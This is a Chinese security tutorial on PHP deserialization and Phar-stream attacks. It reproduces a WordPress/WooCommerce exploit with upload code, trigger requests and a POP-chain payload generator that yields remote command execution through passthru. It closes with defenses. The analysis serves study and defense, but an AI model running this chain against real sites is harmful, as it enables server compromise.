PHP反序列化漏洞的新攻击面
字数 1518 2025-08-18 11:37:33
PHP反序列化漏洞与Phar流攻击面深度解析
一、PHP反序列化漏洞基础
1.1 漏洞简介
PHP反序列化漏洞(PHP对象注入)是由于程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而引发代码执行、文件操作等安全问题。这类漏洞不仅存在于PHP,在Java、Python等面向对象语言中同样存在。
1.2 漏洞原理
漏洞产生的核心在于魔术方法的自动调用机制和危险函数的结合:
class AnyClass {
public $name;
function __destruct() {
passthru($this->name);
}
}
当存在以下条件时,漏洞可被利用:
- 包含一个魔术方法(如
__destruct) - 魔术方法中直接或间接调用危险函数(如
eval、call_user_func等) - 能够通过设置成员变量控制危险函数参数
1.3 序列化与反序列化过程
PHP使用serialize()和unserialize()函数进行对象序列化和反序列化:
$obj = new AnyClass();
$obj->name = "test";
$res = serialize($obj); // 输出:O:8:"AnyClass":1:{s:4:"name";s:4:"test";}
$obj2 = unserialize($res);
当脚本执行结束,对象销毁时会自动调用__destruct方法。
1.4 非public属性的处理
对于protected/private属性,序列化格式会包含特殊字符:
class ChildClass extends AnyClass {
protected $wc;
public function make() {
$this->wc = new AnyClass();
$this->wc->name = 'whoami';
return serialize($this->wc);
}
}
// 输出:O:8:"AnyClass":1:{s:7:"*name";s:6:"whoami";}
二、Phar流转换器攻击面
2.1 PHP流转换器概述
PHP文件操作函数支持多种流转换器:
file://http://ftp://php://zlib://data://glob://phar://
2.2 Phar流特性
Phar是PHP的归档格式,类似于Java的JAR。phar://允许将多个文件归入一个本地文件夹。
创建Phar文件示例:
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($malicious_object);
$phar->stopBuffering();
关键点:setMetadata()会将对象以序列化形式存入Phar文件,当解析时会自动反序列化这些数据。
2.3 攻击条件
利用Phar进行攻击需要满足:
- 能够上传包含攻击payload的Phar归档文件(可伪装为JPG等格式)
- 能够将
phar://路径传入文件操作函数(如file_exists())
三、WordPress漏洞复现与分析
3.1 环境准备
- WordPress 4.8.7
- WooCommerce插件(最新版)
- 具有作者权限的账号
3.2 攻击步骤
- 上传恶意Phar文件(伪装为JPG):
$filename = "phar.jpg";
$username = 'author';
$password = 'xxxx';
$wpsite = 'http://target/wordpress';
$xmlclient = $wpsite.'/xmlrpc.php';
$client = new IXR_Client($xmlclient);
$params = array(
'name' => 'phartest.jpg',
'type' => 'image/pwnage',
'bits' => new IXR_Base64(file_get_contents($filename)),
'overwrite' => false
);
$client->query('wp.uploadFile', 1, $username, $password, $params);
-
修改附件元数据:
通过后台修改_wp_attached_file为Z:\Z -
触发反序列化:
构造请求使file_exists()处理phar://路径:
thumb=phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt
- 通过XML-RPC触发命令执行:
POST /wordpress/xmlrpc.php?c=hostname HTTP/1.1
<methodCall>
<methodName>wp.getMediaItem</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>author</string></value></param>
<param><value><string>xxxx</string></value></param>
<param><value><int>29</int></value></param>
</params>
</methodCall>
3.3 漏洞原理分析
关键点在wp-includes/post.php中的wp_get_attachment_thumb_file()函数:
function wp_get_attachment_thumb_file($post_id = 0) {
$file = get_attached_file($post->ID);
if (!empty($imagedata['thumb'])) {
$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file);
if (file_exists($thumbfile)) {
return $thumbfile;
}
}
}
通过控制_wp_attached_file元数据和thumb参数,可以构造出phar://路径触发反序列化。
3.4 POP链构造
WordPress 4.9+的POP链利用:
- 核心类:
Requests_Utility_FilteredIterator
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
- 触发点:WooCommerce的
WC_Log_Handler_File类
class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
public function __destruct() {
foreach ($this->handles as $handle) {
if (is_resource($handle)) {
fclose($handle);
}
}
}
}
- 完整Payload生成:
require('wp-load.php');
require_once('wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php');
require_once('wp-includes/Requests/Utility/FilteredIterator.php');
$arr = array("1" => '@passthru($_GET["c"]);');
$obj_ = new Requests_Utility_FilteredIterator($arr, "assert");
class myClass extends WC_Log_Handler_File {
protected $wc;
public function make($handle) {
$this->wc = new WC_Log_Handler_File();
$this->wc->handles = $handle;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($this->wc);
$phar->stopBuffering();
}
}
四、防御措施
-
输入验证:
- 严格检查反序列化操作的输入来源
- 使用白名单验证序列化数据
-
安全配置:
- 禁用不必要的流包装器(如
phar://) - 限制文件上传类型和内容检查
- 禁用不必要的流包装器(如
-
代码层面:
- 避免在魔术方法中使用危险函数
- 对反序列化类进行限制(使用
allowed_classes选项)
-
更新维护:
- 及时更新WordPress核心和插件
- 关注PHP官方安全公告
五、参考资源
- BlackHat USA 2018演讲
- PHP官方文档:流包装器和Phar扩展
- WordPress安全公告和补丁说明